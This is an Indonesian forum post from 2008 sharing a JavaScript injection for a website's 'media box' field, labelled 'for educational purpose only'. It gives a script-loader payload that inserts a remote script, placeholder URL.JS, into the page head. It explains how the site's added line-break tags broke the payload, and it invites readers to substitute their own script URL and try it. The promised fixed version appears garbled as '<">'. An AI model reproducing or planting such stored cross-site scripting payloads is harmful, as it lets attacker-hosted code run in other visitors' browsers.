
[b]for educational purpose only[/b]
thread ini adalah thread modifikasi dari
javascript injection
ni codenya [quote]var script = document.createElement("script");
script.type = "text/javascript";
script.src = "[b]URL.JS[/b]";
document.getElementsByTagName("head")[0].appendChild(script);[/quote]
waktu saiah masukin injection itu ke media box dengan format
[quote]<script>var script = document.createElement("script");
script.type = "text/javascript";
script.src = "[b]URL.JS[/b]";
document.getElementsByTagName("head")[0].appendChild(script);</script>[/quote]
trus di view page source jadi kayak gini
[quote]<script>var script = document.createElement("script");
[b]<br />[/b]script.type = "text/javascript";
[b]<br />[/b]script.src = "[b]URL.JS[/b]";
[b]<br />[/b]document.getElementsByTagName("head")[0].appendChild(script);</script>[/quote]
dan <[b]br />[/b] ngebuat javascriptnya gak jalan

jadi ku ubah formatnya jadi seperti ini
<">

jangan lupa mengganti [b]URL.JS[/b] dengan url js kamu..
live preview [i]not allowed[/i]
silahkan di coba

Last edited by ichigo_reloaded (2008-12-27 20:27:27)